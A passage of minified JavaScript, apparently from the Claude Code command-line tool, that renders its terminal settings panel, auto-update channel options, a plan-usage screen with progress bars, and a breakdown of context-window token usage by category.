if(K.messages.some((xA)=>xA.type==="assistant"))_A(!0)}return}if(fA.id==="theme"||fA.id==="model"||fA.id==="showExternalIncludesDialog"||fA.id==="outputStyle"||fA.id==="language")switch(fA.id){case"theme":JA(0),q(!0),z(!0);return;case"model":JA(1),q(!0);return;case"showExternalIncludesDialog":JA(2),q(!0),Y(!0);return;case"outputStyle":JA(3),q(!0);return;case"language":JA(5),q(!0);return}if(fA.id==="autoUpdatesChannel"){if(GA){JA(6),q(!0);return}if((Z?.autoUpdatesChannel??"latest")==="latest")JA(4),q(!0);else v4("userSettings",{autoUpdatesChannel:"latest",minimumVersion:void 0}),W((SA)=>({...SA,autoUpdatesChannel:"latest",minimumVersion:void 0})),n("tengu_autoupdate_channel_changed",{channel:"latest"});return}if(fA.type==="enum"){let SA=(fA.options.indexOf(fA.value)+1)%fA.options.length;fA.onChange(fA.options[SA]);return}},[GA,VA,C,Z?.autoUpdatesChannel,q,z,Y]);return s4({"select:previous":()=>{if(_A(!1),C===0)B(!0);else R((fA)=>Math.max(0,fA-1))},"select:next":()=>{_A(!1),R((fA)=>Math.min(VA.length-1,fA+1))},"select:accept":RA,"settings:search":()=>{B(!0),MA("")}},{context:"Settings",isActive:a===null&&!b}),K8((fA,LA)=>{if(LA.escape){if(jA.length>0)MA("");else B(!1);return}if(LA.return||LA.downArrow)B(!1),R(0)},{isActive:b&&a===null}),K8((fA,LA)=>{if(!LA.ctrl&&!LA.meta&&fA.length>0&&!/^\s+$/.test(fA))B(!0),MA(fA)},{isActive:!b&&a===null}),o1.createElement(S,{flexDirection:"column",width:"100%"},a===0?o1.createElement(o1.Fragment,null,o1.createElement(QPA,{initialTheme:H,onThemeSelect:(fA)=>{J(fA),JA(null),z(!1),q(!1)},onCancel:()=>{JA(null),z(!1),q(!1)},hideEscToCancel:!0,skipExitHandling:!0}),o1.createElement(S,{marginLeft:1},o1.createElement(V,{dimColor:!0,italic:!0},o1.createElement(Y8,null,o1.createElement(M6,{shortcut:"Enter",action:"select"}),o1.createElement(Q6,{action:"confirm:no",context:"Confirmation",fallback:"Esc",description:"cancel"}))))):a===1?o1.createElement(o1.Fragment,null,o1.createElement(UPA,{initial:Q,onSelect:(fA,LA)=>{OA(fA),JA(null),q(!1)},onCancel:()=>{JA(null),q(!1)}}),o1.createElement(V,{dimColor:!0},o1.createElement(Y8,null,o1.createElement(M6,{shortcut:"Enter",action:"confirm"}),o1.createElement(Q6,{action:"confirm:no",context:"Confirmation",fallback:"Esc",description:"cancel"})))):a===2?o1.createElement(o1.Fragment,null,o1.createElement(QT1,{onDone:()=>{JA(null),q(!1),Y(!1)},externalIncludes:xSA()}),o1.createElement(V,{dimColor:!0},o1.createElement(Y8,null,o1.createElement(M6,{shortcut:"Enter",action:"confirm"}),o1.createElement(Q6,{action:"confirm:no",context:"Confirmation",fallback:"Esc",description:"disable external includes"})))):a===3?o1.createElement(o1.Fragment,null,o1.createElement(UT1,{initialStyle:j,onComplete:(fA)=>{M(fA??nG),JA(null),q(!1),v4("localSettings",{outputStyle:fA}),n("tengu_output_style_changed",{style:fA??nG,source:"config_panel",settings_source:"localSettings"})},onCancel:()=>{JA(null),q(!1)}}),o1.createElement(V,{dimColor:!0},o1.createElement(Y8,null,o1.createElement(M6,{shortcut:"Enter",action:"confirm"}),o1.createElement(Q6,{action:"confirm:no",context:"Confirmation",fallback:"Esc",description:"cancel"})))):a===5?o1.createElement(o1.Fragment,null,o1.createElement(c_K,{initialLanguage:f,onComplete:(fA)=>{N(fA),JA(null),q(!1),v4("userSettings",{language:fA}),n("tengu_language_changed",{language:fA??"default",source:"config_panel"})},onCancel:()=>{JA(null),q(!1)}}),o1.createElement(V,{dimColor:!0},o1.createElement(Y8,null,o1.createElement(M6,{shortcut:"Enter",action:"confirm"}),o1.createElement(Q6,{action:"confirm:no",context:"Settings",fallback:"Esc",description:"cancel"})))):a===6?o1.createElement(L4,{title:"Enable Auto-Updates",onCancel:()=>{JA(null),q(!1)},hideBorder:!0,hideInputGuide:!0},GA!=="config"?o1.createElement(o1.Fragment,null,o1.createElement(V,null,"Auto-updates are controlled by an environment variable and cannot be changed here."),o1.createElement(V,{dimColor:!0},"Unset"," ",GA?.includes("NONESSENTIAL")?"CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC":"DISABLE_AUTOUPDATER"," ","to re-enable auto-updates.")):o1.createElement(E6,{options:[{label:"Enable with latest channel",value:"latest"},{label:"Enable with stable channel",value:"stable"}],onChange:(fA)=>{JA(null),q(!1),D6((LA)=>({...LA,autoUpdates:!0})),X({...M1(),autoUpdates:!0}),v4("userSettings",{autoUpdatesChannel:fA,minimumVersion:void 0}),W((LA)=>({...LA,autoUpdatesChannel:fA,minimumVersion:void 0})),n("tengu_autoupdate_enabled",{channel:fA})}})):a===4?o1.createElement(U_K,{currentVersion:{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION,onChoice:(fA)=>{if(JA(null),q(!1),fA==="cancel")return;let LA={autoUpdatesChannel:"stable"};if(fA==="stay")LA.minimumVersion={ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION;v4("userSettings",LA),W((SA)=>({...SA,...LA})),n("tengu_autoupdate_channel_changed",{channel:"stable",minimum_version_set:fA==="stay"})}}):o1.createElement(S,{flexDirection:"column",marginY:1,gap:1},o1.createElement(V,null,"Configure Claude Code preferences"),o1.createElement(tS,{query:jA,isFocused:b,isTerminalFocused:F,cursorOffset:hA,placeholder:"Search settings..."}),o1.createElement(S,{flexDirection:"column"},VA.length===0?o1.createElement(V,{dimColor:!0,italic:!0},'No settings match "',jA,'"'):VA.map((fA,LA)=>{let SA=LA===C;return o1.createElement(o1.Fragment,{key:fA.id},o1.createElement(S,null,o1.createElement(S,{width:44},o1.createElement(V,{color:SA?"suggestion":void 0},SA?eA.pointer:" "," ",fA.label)),o1.createElement(S,{key:SA?"selected":"unselected"},fA.type==="boolean"?o1.createElement(o1.Fragment,null,o1.createElement(V,{color:SA?"suggestion":void 0},fA.value.toString()),HA&&fA.id==="thinkingEnabled"&&o1.createElement(V,{color:"warning"}," ","Changing thinking mode mid-conversation will increase latency and may reduce quality.")):fA.id==="theme"?o1.createElement(V,{color:SA?"suggestion":void 0},(()=>{return{dark:"Dark mode",light:"Light mode","dark-daltonized":"Dark mode (colorblind-friendly)","light-daltonized":"Light mode (colorblind-friendly)","dark-ansi":"Dark mode (ANSI colors only)","light-ansi":"Light mode (ANSI colors only)"}[fA.value.toString()]||fA.value.toString()})()):fA.id==="notifChannel"?o1.createElement(V,{color:SA?"suggestion":void 0},(()=>{switch(fA.value.toString()){case"auto":return"Auto";case"iterm2":return o1.createElement(o1.Fragment,null,"iTerm2 ",o1.createElement(V,{dimColor:!0},"(OSC 9)"));case"terminal_bell":return o1.createElement(o1.Fragment,null,"Terminal Bell ",o1.createElement(V,{dimColor:!0},"(\\a)"));case"kitty":return o1.createElement(o1.Fragment,null,"Kitty ",o1.createElement(V,{dimColor:!0},"(OSC 99)"));case"ghostty":return o1.createElement(o1.Fragment,null,"Ghostty ",o1.createElement(V,{dimColor:!0},"(OSC 777)"));case"iterm2_with_bell":return"iTerm2 w/ Bell";case"notifications_disabled":return"Disabled";default:return fA.value.toString()}})()):fA.id==="defaultPermissionMode"?o1.createElement(V,{color:SA?"suggestion":void 0},fF(fA.value)):fA.id==="autoUpdatesChannel"&&GA?o1.createElement(S,{flexDirection:"column"},o1.createElement(V,{color:SA?"suggestion":void 0},"disabled"),o1.createElement(V,{dimColor:!0},"(",GA,")")):o1.createElement(V,{color:SA?"suggestion":void 0},fA.value.toString()))))})),b?o1.createElement(V,{dimColor:!0},o1.createElement(Y8,null,o1.createElement(V,null,"Type to filter"),o1.createElement(M6,{shortcut:"Enter/↓",action:"select"}),o1.createElement(Q6,{action:"confirm:no",context:"Settings",fallback:"Esc",description:"clear"}))):o1.createElement(V,{dimColor:!0},o1.createElement(Y8,null,o1.createElement(Q6,{action:"select:accept",context:"Settings",fallback:"Enter/Space",description:"change"}),o1.createElement(Q6,{action:"settings:search",context:"Settings",fallback:"/",description:"search"}),o1.createElement(Q6,{action:"confirm:no",context:"Settings",fallback:"Esc",description:"cancel"})))))}var o1,DP;var n_K=k(()=>{mA();C8();g4();i6();spA();i6();u5();n_();C1();l1();BT1();A4();FT1();K7();Nm6();p_K();t3();q9();Tm6();l_K();gZ();nK();q5();Dq();k9A();iH();I8();Am();l6();zpA();B7();t9();$UA();C9A();o1=o($A(),1),DP=o($A(),1)});async function Em6(){if(!Z4())return{};let A=LK();if(A&&dQ(A.expiresAt))return null;let K=BH();if(K.error)throw Error(`Auth error: ${K.error}`);let q={"Content-Type":"application/json","User-Agent":uH(),...K.headers},Y=`${E7().BASE_API_URL}/api/oauth/usage`;return(await A8.get(Y,{headers:q,timeout:5000})).data}var km6=k(()=>{n3();JG();uz();x4();LT()});function KdA(A){let K=s(13),{ratio:q,width:Y,fillColor:z,emptyColor:w}=A,H=Math.min(1,Math.max(0,q)),J=Math.floor(H*Y),O;if(K[0]!==J)O=AdA[AdA.length-1].repeat(J),K[0]=J,K[1]=O;else O=K[1];let X;if(K[2]!==H||K[3]!==O||K[4]!==J||K[5]!==Y){if(X=[O],J<Y){let G=H*Y-J,Z=Math.floor(G*AdA.length);X.push(AdA[Z]);let W=Y-J-1;if(W>0){let D;if(K[7]!==W)D=AdA[0].repeat(W),K[7]=W,K[8]=D;else D=K[8];X.push(D)}}K[2]=H,K[3]=O,K[4]=J,K[5]=Y,K[6]=X}else X=K[6];let $=X.join(""),_;if(K[9]!==w||K[10]!==z||K[11]!==$)_=r_K.default.createElement(V,{color:z,backgroundColor:w},$),K[9]=w,K[10]=z,K[11]=$,K[12]=_;else _=K[12];return _}var r_K,AdA;var Cm6=k(()=>{cA();mA();r_K=o($A(),1),AdA=[" ","▏","▎","▍","▌","▋","▊","▉","█"]});function o_K(A){let K=s(34),{title:q,limit:Y,maxWidth:z,showTimeInReset:w,extraSubtext:H}=A,J=w===void 0?!0:w,{utilization:O,resets_at:X}=Y;if(O===null)return null;let $=`${Math.floor(O)}% used`,_;if(X){let G;if(K[0]!==X||K[1]!==J)G=LH4(X,!0,J),K[0]=X,K[1]=J,K[2]=G;else G=K[2];_=`Resets ${G}`}if(H)if(_)_=`${H} · ${_}`;else _=H;if(z>=62){let G;if(K[3]!==q)G=m4.createElement(V,{bold:!0},q),K[3]=q,K[4]=G;else G=K[4];let Z=O/100,W;if(K[5]!==Z)W=m4.createElement(KdA,{ratio:Z,width:50,fillColor:"rate_limit_fill",emptyColor:"rate_limit_empty"}),K[5]=Z,K[6]=W;else W=K[6];let D;if(K[7]!==$)D=m4.createElement(V,null,$),K[7]=$,K[8]=D;else D=K[8];let j;if(K[9]!==W||K[10]!==D)j=m4.createElement(S,{flexDirection:"row",gap:1},W,D),K[9]=W,K[10]=D,K[11]=j;else j=K[11];let M;if(K[12]!==_)M=_&&m4.createElement(V,{dimColor:!0},_),K[12]=_,K[13]=M;else M=K[13];let P;if(K[14]!==G||K[15]!==j||K[16]!==M)P=m4.createElement(S,{flexDirection:"column"},G,j,M),K[14]=G,K[15]=j,K[16]=M,K[17]=P;else P=K[17];return P}else{let G;if(K[18]!==q)G=m4.createElement(V,{bold:!0},q),K[18]=q,K[19]=G;else G=K[19];let Z;if(K[20]!==_)Z=_&&m4.createElement(m4.Fragment,null,m4.createElement(V,null," "),m4.createElement(V,{dimColor:!0},"· ",_)),K[20]=_,K[21]=Z;else Z=K[21];let W;if(K[22]!==G||K[23]!==Z)W=m4.createElement(V,null,G,Z),K[22]=G,K[23]=Z,K[24]=W;else W=K[24];let D=O/100,j;if(K[25]!==z||K[26]!==D)j=m4.createElement(KdA,{ratio:D,width:z,fillColor:"rate_limit_fill",emptyColor:"rate_limit_empty"}),K[25]=z,K[26]=D,K[27]=j;else j=K[27];let M;if(K[28]!==$)M=m4.createElement(V,null,$),K[28]=$,K[29]=M;else M=K[29];let P;if(K[30]!==W||K[31]!==j||K[32]!==M)P=m4.createElement(S,{flexDirection:"column"},W,j,M),K[30]=W,K[31]=j,K[32]=M,K[33]=P;else P=K[33];return P}}function a_K(){let[A,K]=pPA.useState(null),[q,Y]=pPA.useState(null),[z,w]=pPA.useState(!0),{columns:H}=f8(),J=H-2,O=Math.min(J,80),X=m4.useCallback(async()=>{w(!0),Y(null);try{let _=await Em6();K(_)}catch(_){KA(_);let G=_,Z=G.response?.data?UA(G.response.data):void 0;Y(Z?`Failed to load usage data: ${Z}`:"Failed to load usage data")}finally{w(!1)}},[]);if(pPA.useEffect(()=>{X()},[X]),J6("settings:retry",()=>{X()},{context:"Settings",isActive:!!q&&!z}),q)return m4.createElement(S,{flexDirection:"column",marginTop:1,gap:1},m4.createElement(V,{color:"error"},"Error: ",q),m4.createElement(V,{dimColor:!0},m4.createElement(Y8,null,m4.createElement(Q6,{action:"settings:retry",context:"Settings",fallback:"r",description:"retry"}),m4.createElement(Q6,{action:"confirm:no",context:"Settings",fallback:"Esc",description:"cancel"}))));if(!A)return m4.createElement(S,{flexDirection:"column",marginTop:1,gap:1},m4.createElement(V,{dimColor:!0},"Loading usage data…"),m4.createElement(V,{dimColor:!0},m4.createElement(Q6,{action:"confirm:no",context:"Settings",fallback:"Esc",description:"cancel"})));let $=[{title:"Current session",limit:A.five_hour},{title:"Current week (all models)",limit:A.seven_day},{title:"Current week (Sonnet only)",limit:A.seven_day_sonnet}];return m4.createElement(S,{flexDirection:"column",marginTop:1,gap:1,width:"100%"},$.some(({limit:_})=>_)||m4.createElement(V,{dimColor:!0},"/usage is only available for subscription plans."),$.map(({title:_,limit:G})=>G&&m4.createElement(o_K,{key:_,title:_,limit:G,maxWidth:O})),A.extra_usage&&m4.createElement(zu2,{extraUsage:A.extra_usage,maxWidth:O}),m4.createElement(V,{dimColor:!0},m4.createElement(Q6,{action:"confirm:no",context:"Settings",fallback:"Esc",description:"cancel"})))}function zu2(A){let K=s(20),{extraUsage:q,maxWidth:Y}=A,z=Uq();if(!(z==="pro"||z==="max"))return!1;if(!q.is_enabled){if(fd.isEnabled()){let f;if(K[0]===Symbol.for("react.memo_cache_sentinel"))f=m4.createElement(S,{flexDirection:"column"},m4.createElement(V,{bold:!0},Lm6),m4.createElement(V,{dimColor:!0},"Extra usage not enabled • /extra-usage to enable")),K[0]=f;else f=K[0];return f}return null}if(q.monthly_limit===null){let f;if(K[1]===Symbol.for("react.memo_cache_sentinel"))f=m4.createElement(S,{flexDirection:"column"},m4.createElement(V,{bold:!0},Lm6),m4.createElement(V,{dimColor:!0},"Unlimited")),K[1]=f;else f=K[1];return f}if(typeof q.used_credits!=="number"||typeof q.utilization!=="number")return null;let H=q.used_credits/100,J;if(K[2]!==H)J=OyA(H,2),K[2]=H,K[3]=J;else J=K[3];let O=J,X=q.monthly_limit/100,$;if(K[4]!==X)$=OyA(X,2),K[4]=X,K[5]=$;else $=K[5];let _=$,G,Z,W,D;if(K[6]!==q.utilization){let f=new Date,N=new Date(f.getFullYear(),f.getMonth()+1,1);G=o_K,D=Lm6,Z=q.utilization,W=N.toISOString(),K[6]=q.utilization,K[7]=G,K[8]=Z,K[9]=W,K[10]=D}else G=K[7],Z=K[8],W=K[9],D=K[10];let j;if(K[11]!==Z||K[12]!==W)j={utilization:Z,resets_at:W},K[11]=Z,K[12]=W,K[13]=j;else j=K[13];let M=`${O} / ${_} spent`,P;if(K[14]!==G||K[15]!==Y||K[16]!==D||K[17]!==j||K[18]!==M)P=m4.createElement(G,{title:D,limit:j,showTimeInReset:!1,extraSubtext:M,maxWidth:Y}),K[14]=G,K[15]=Y,K[16]=D,K[17]=j,K[18]=M,K[19]=P;else P=K[19];return P}var m4,pPA,Lm6="Extra usage";var s_K=k(()=>{cA();mA();uK();km6();C1();Cm6();q5();Dq();C8();jQA();Ck();x4();b1();m4=o($A(),1),pPA=o($A(),1)});function dPA(A){let K=s(28),{onClose:q,context:Y,defaultTab:z}=A,[w,H]=qdA.useState(!1),[J,O]=qdA.useState(!1),[X,$]=qdA.useState(!1),[_,G]=qdA.useState(z==="Config"),Z;if(K[0]!==q||K[1]!==w)Z=()=>{if(w)return;q("Status dialog dismissed",{display:"system"})},K[0]=q,K[1]=w,K[2]=Z;else Z=K[2];let W=Z,D=!w,j;if(K[3]!==D)j={context:"Settings",isActive:D},K[3]=D,K[4]=j;else j=K[4];J6("confirm:no",W,j);let M;if(K[5]!==Y)M=NX.createElement(WH,{key:"status",title:"Status"},NX.createElement(u_K,{context:Y})),K[5]=Y,K[6]=M;else M=K[6];let P;if(K[7]!==Y||K[8]!==q)P=NX.createElement(WH,{key:"config",title:"Config"},NX.createElement(i_K,{context:Y,onClose:q,setTabsHidden:H,setIsWarning:O,setHideMargin:$,onSearchModeChange:G})),K[7]=Y,K[8]=q,K[9]=P;else P=K[9];let f;if(K[10]===Symbol.for("react.memo_cache_sentinel"))f=NX.createElement(WH,{key:"usage",title:"Usage"},NX.createElement(a_K,null)),K[10]=f;else f=K[10];let N;if(K[11]!==M||K[12]!==P)N=[M,P,f],K[11]=M,K[12]=P,K[13]=N;else N=K[13];let T=N,C=J?"warning":"permission",R=!J,x;if(K[14]!==C||K[15]!==R)x=NX.createElement(g3,{dividerColor:C,dividerDimColor:R}),K[14]=C,K[15]=R,K[16]=x;else x=K[16];let y=X?0:1,B;if(K[17]!==_||K[18]!==z||K[19]!==T||K[20]!==w)B=NX.createElement(LL,{title:"Settings:",color:"permission",defaultTab:z,hidden:w,disableNavigation:_},T),K[17]=_,K[18]=z,K[19]=T,K[20]=w,K[21]=B;else B=K[21];let b;if(K[22]!==y||K[23]!==B)b=NX.createElement(S,{marginX:y},B),K[22]=y,K[23]=B,K[24]=b;else b=K[24];let F;if(K[25]!==x||K[26]!==b)F=NX.createElement(S,{flexDirection:"column"},x,b),K[25]=x,K[26]=b,K[27]=F;else F=K[27];return F}var NX,qdA;var pT1=k(()=>{cA();mA();C8();j$();S9A();B_K();n_K();s_K();NX=o($A(),1),qdA=o($A(),1)});var Rm6,wu2,t_K;var e_K=k(()=>{pT1();Rm6=o($A(),1),wu2={aliases:["settings"],type:"local-jsx",name:"config",description:"Open config panel",isEnabled:()=>!0,isHidden:!1,async call(A,K){return Rm6.createElement(dPA,{onClose:A,context:K,defaultTab:"Config"})},userFacingName(){return"config"}},t_K=wu2});function Hu2(A){return`${Math.round(A/1000)}k`}function cPA(A){return A<1000?`${A}`:`${(A/1000).toFixed(1)}k`}function AGK(A){let K=new Map;for(let Y of A){let z=YeA(Y.source),w=K.get(z)||[];w.push(Y),K.set(z,w)}for(let[Y,z]of K.entries())K.set(Y,z.sort((w,H)=>H.tokens-w.tokens));let q=new Map;for(let Y of Ju2){let z=K.get(Y);if(z)q.set(Y,z)}return q}function KGK(A){let K=s(99),{data:q}=A,{categories:Y,totalTokens:z,rawMaxTokens:w,percentage:H,gridRows:J,model:O,memoryFiles:X,mcpTools:$,deferredBuiltinTools:_,agents:G,skills:Z,messageBreakdown:W}=q,D,j,M,P,f,N,T,C,R,x,y,B,b,F,Q,u,d,r,c;if(K[0]!==Y||K[1]!==_.length||K[2]!==J||K[3]!==O||K[4]!==H||K[5]!==w||K[6]!==z){let wA=Y.filter(bu2),GA;if(K[26]!==Y)GA=Y.some(hu2),K[26]=Y,K[27]=GA;else GA=K[27];N=GA,f=_.length>0;let OA;if(K[28]!==Y)OA=Y.find(Su2),K[28]=Y,K[29]=OA;else OA=K[29];if(P=OA,M=S,R="column",x=1,K[30]===Symbol.for("react.memo_cache_sentinel"))y=N6.createElement(V,{bold:!0},"Context Usage"),K[30]=y;else y=K[30];j=S,r="row",c=2;let t;if(K[31]!==J)t=J.map(yu2),K[31]=J,K[32]=t;else t=K[32];if(K[33]!==t)C=N6.createElement(S,{flexDirection:"column",flexShrink:0},t),K[33]=t,K[34]=C;else C=K[34];D=S,T="column",B=0,b=0;let XA;if(K[35]!==z)XA=Math.round(z/1000),K[35]=z,K[36]=XA;else XA=K[36];let VA;if(K[37]!==w)VA=Math.round(w/1000),K[37]=w,K[38]=VA;else VA=K[38];if(K[39]!==O||K[40]!==H||K[41]!==XA||K[42]!==VA)F=N6.createElement(V,{dimColor:!0},O," · ",XA,"k/",VA,"k tokens (",H,"%)"),K[39]=O,K[40]=H,K[41]=XA,K[42]=VA,K[43]=F;else F=K[43];if(K[44]===Symbol.for("react.memo_cache_sentinel"))Q=N6.createElement(V,null," "),u=N6.createElement(V,{dimColor:!0,italic:!0},"Estimated usage by category"),K[44]=Q,K[45]=u;else Q=K[44],u=K[45];let vA;if(K[46]!==w)vA=(RA,fA)=>{let LA=RA.tokens<1000?`${RA.tokens}`:`${(RA.tokens/1000).toFixed(1)}k`,SA=RA.isDeferred?"N/A":`${(RA.tokens/w*100).toFixed(1)}%`,xA=RA.name===dT1,iA=RA.name,lA=RA.isDeferred?" ":xA?"⛝":"⛁";return N6.createElement(S,{key:fA},N6.createElement(V,{color:RA.color},lA),N6.createElement(V,null," ",iA,": "),N6.createElement(V,{dimColor:!0},LA," tokens (",SA,")"))},K[46]=w,K[47]=vA;else vA=K[47];d=wA.map(vA),K[0]=Y,K[1]=_.length,K[2]=J,K[3]=O,K[4]=H,K[5]=w,K[6]=z,K[7]=D,K[8]=j,K[9]=M,K[10]=P,K[11]=f,K[12]=N,K[13]=T,K[14]=C,K[15]=R,K[16]=x,K[17]=y,K[18]=B,K[19]=b,K[20]=F,K[21]=Q,K[22]=u,K[23]=d,K[24]=r,K[25]=c}else D=K[7],j=K[8],M=K[9],P=K[10],f=K[11],N=K[12],T=K[13],C=K[14],R=K[15],x=K[16],y=K[17],B=K[18],b=K[19],F=K[20],Q=K[21],u=K[22],d=K[23],r=K[24],c=K[25];let YA;if(K[48]!==Y||K[49]!==w)YA=(Y.find(Ru2)?.tokens??0)>0&&N6.createElement(S,null,N6.createElement(V,{dimColor:!0},"⛶"),N6.createElement(V,null," Free space: "),N6.createElement(V,{dimColor:!0},Hu2(Y.find(Lu2)?.tokens||0)," ","(",((Y.find(Cu2)?.tokens||0)/w*100).toFixed(1),"%)")),K[48]=Y,K[49]=w,K[50]=YA;else YA=K[50];let e;if(K[51]!==P||K[52]!==w)e=P&&P.tokens>0&&N6.createElement(S,null,N6.createElement(V,{color:P.color},"⛝"),N6.createElement(V,{dimColor:!0}," ",P.name,": "),N6.createElement(V,{dimColor:!0},P.tokens<1000?`${P.tokens}`:`${(P.tokens/1000).toFixed(1)}k`," ","tokens (",(P.tokens/w*100).toFixed(1),"%)")),K[51]=P,K[52]=w,K[53]=e;else e=K[53];let qA;if(K[54]!==D||K[55]!==T||K[56]!==YA||K[57]!==e||K[58]!==B||K[59]!==b||K[60]!==F||K[61]!==Q||K[62]!==u||K[63]!==d)qA=N6.createElement(D,{flexDirection:T,gap:B,flexShrink:b},F,Q,u,d,YA,e),K[54]=D,K[55]=T,K[56]=YA,K[57]=e,K[58]=B,K[59]=b,K[60]=F,K[61]=Q,K[62]=u,K[63]=d,K[64]=qA;else qA=K[64];let HA;if(K[65]!==j||K[66]!==C||K[67]!==qA||K[68]!==r||K[69]!==c)HA=N6.createElement(j,{flexDirection:r,gap:c},C,qA),K[65]=j,K[66]=C,K[67]=qA,K[68]=r,K[69]=c,K[70]=HA;else HA=K[70];let _A;if(K[71]!==N||K[72]!==$)_A=$.length>0&&N6.createElement(S,{flexDirection:"column",marginTop:1},N6.createElement(S,null,N6.createElement(V,{bold:!0},"MCP tools"),N6.createElement(V,{dimColor:!0}," ","· /mcp",N?" (loaded on-demand)":"")),$.some(ku2)&&N6.createElement(S,{flexDirection:"column",marginTop:1},N6.createElement(V,{dimColor:!0},"Loaded"),$.filter(Eu2).map(vu2)),N&&$.some(Tu2)&&N6.createElement(S,{flexDirection:"column",marginTop:1},N6.createElement(V,{dimColor:!0},"Available"),$.filter(Nu2).map(fu2)),!N&&$.map(Vu2)),K[71]=N,K[72]=$,K[73]=_A;else _A=K[73];let a;if(K[74]!==_||K[75]!==f)a=f&&N6.createElement(S,{flexDirection:"column",marginTop:1},N6.createElement(S,null,N6.createElement(V,{bold:!0},"Deferred system tools"),N6.createElement(V,{dimColor:!0}," (loaded on-demand)")),_.some(Pu2)&&N6.createElement(S,{flexDirection:"column",marginTop:1},N6.createElement(V,{dimColor:!0},"Loaded"),_.filter(Mu2).map(ju2)),_.some(Du2)&&N6.createElement(S,{flexDirection:"column",marginTop:1},N6.createElement(V,{dimColor:!0},"Available"),_.filter(Wu2).map(Zu2))),K[74]=_,K[75]=f,K[76]=a;else a=K[76];let JA;if(K[77]!==G)JA=G.length>0&&N6.createElement(S,{flexDirection:"column",marginTop:1},N6.createElement(S,null,N6.createElement(V,{bold:!0},"Custom agents"),N6.createElement(V,{dimColor:!0}," · /agents")),Array.from(AGK(G).entries()).map(_u2)),K[77]=G,K[78]=JA;else JA=K[78];let jA;if(K[79]!==X)jA=X.length>0&&N6.createElement(S,{flexDirection:"column",marginTop:1},N6.createElement(S,null,N6.createElement(V,{bold:!0},"Memory files"),N6.createElement(V,{dimColor:!0}," · /memory")),X.map($u2)),K[79]=X,K[80]=jA;else jA=K[80];let MA;if(K[81]!==Z)MA=Z&&Z.tokens>0&&N6.createElement(S,{flexDirection:"column",marginTop:1},N6.createElement(S,null,N6.createElement(V,{bold:!0},"Skills"),N6.createElement(V,{dimColor:!0}," · /skills")),Array.from(AGK(Z.skillFrontmatter).entries()).map(Ou2)),K[81]=Z,K[82]=MA;else MA=K[82];let hA;if(K[83]!==W)hA=W&&!1,K[83]=W,K[84]=hA;else hA=K[84];let yA;if(K[85]!==_A||K[86]!==a||K[87]!==JA||K[88]!==jA||K[89]!==MA||K[90]!==hA)yA=N6.createElement(S,{flexDirection:"column",marginLeft:-1},_A,a,JA,jA,MA,hA),K[85]=_A,K[86]=a,K[87]=JA,K[88]=jA,K[89]=MA,K[90]=hA,K[91]=yA;else yA=K[91];let AA;if(K[92]!==M||K[93]!==R||K[94]!==x||K[95]!==y||K[96]!==HA||K[97]!==yA)AA=N6.createElement(M,{flexDirection:R,paddingLeft:x},y,HA,yA),K[92]=M,K[93]=R,K[94]=x,K[95]=y,K[96]=HA,K[97]=yA,K[98]=AA;else AA=K[98];return AA}function Ou2(A){let[K,q]=A;return N6.createElement(S,{key:K,flexDirection:"column",marginTop:1},N6.createElement(V,{dimColor:!0},K),q.map(Xu2))}function Xu2(A,K){return N6.createElement(S,{key:K},N6.createElement(V,null,"└ ",A.name,": "),N6.createElement(V,{dimColor:!0},cPA(A.tokens)," tokens"))}function $u2(A,K){return N6.createElement(S,{key:K},N6.createElement(V,null,"└ ",Z5(A.path),": "),N6.createElement(V,{dimColor:!0},cPA(A.tokens)," tokens"))}function _u2(A){let[K,q]=A;return N6.createElement(S,{key:K,flexDirection:"column",marginTop:1},N6.createElement(V,{dimColor:!0},K),q.map(Gu2))}function Gu2(A,K){return N6.createElement(S,{key:K},N6.createElement(V,null,"└ ",A.agentType,": "),N6.createElement(V,{dimColor:!0},cPA(A.tokens)," tokens"))}function Zu2(A,K){return N6.createElement(S,{key:K},N6.createElement(V,{dimColor:!0},"└ ",A.name))}function Wu2(A){return!A.isLoaded}function Du2(A){return!A.isLoaded}function ju2(A,K){return N6.createElement(S,{key:K},N6.createElement(V,null,"└ ",A.name,": "),N6.createElement(V,{dimColor:!0},cPA(A.tokens)," tokens"))}function Mu2(A){return A.isLoaded}function Pu2(A){return A.isLoaded}function Vu2(A,K){return N6.createElement(S,{key:K},N6.createElement(V,null,"└ ",A.name,": "),N6.createElement(V,{dimColor:!0},cPA(A.tokens)," tokens"))}function fu2(A,K){return N6.createElement(S,{key:K},N6.createElement(V,{dimColor:!0},"└ ",A.name))}function Nu2(A){return!A.isLoaded}function Tu2(A){return!A.isLoaded}function vu2(A,K){return N6.createElement(S,{key:K},N6.createElement(V,null,"└ ",A.name,": "),N6.createElement(V,{dimColor:!0},cPA(A.tokens)," tokens"))}function Eu2(A){return A.isLoaded}function ku2(A){return A.isLoaded}function Cu2(A){return A.name==="Free space"}function Lu2(A){return A.name==="Free space"}function Ru2(A){return A.name==="Free space"}function yu2(A,K){return N6.createElement(S,{key:K,flexDirection:"row",marginLeft:-1},A.map(Iu2))}function Iu2(A,K){if(A.categoryName==="Free space")return N6.createElement(V,{key:K,dimColor:!0},"⛶ ");if(A.categoryName===dT1)return N6.createElement(V,{key:K,color:A.color},"⛝ ");return N6.createElement(V,{key:K,color:A.color},A.squareFullness>=0.7?"⛁ ":"⛀ ")}function Su2(A){return A.name===dT1}function hu2(A){return A.isDeferred&&A.name.includes("MCP")}function bu2(A){return A.tokens>0&&A.name!=="Free space"&&A.name!==dT1&&!A.isDeferred}var N6,dT1="Autocompact buffer",Ju2;var qGK=k(()=>{cA();mA();GJ();YK();N6=o($A(),1);Ju2=["Project","User","Managed","Plugin","Built-in"]});import{PassThrough as xu2}from"stream";function uu2(A){let K=s(5),{children:q}=A,{exit:Y}=wIA(),z,w;if(K[0]!==Y)z=()=>{let J=setTimeout(Y,0);return()=>clearTimeout(J)},w=[Y],K[0]=Y,K[1]=z,K[2]=w;else z=K[1],w=K[2];zGK.useLayoutEffect(z,w);let 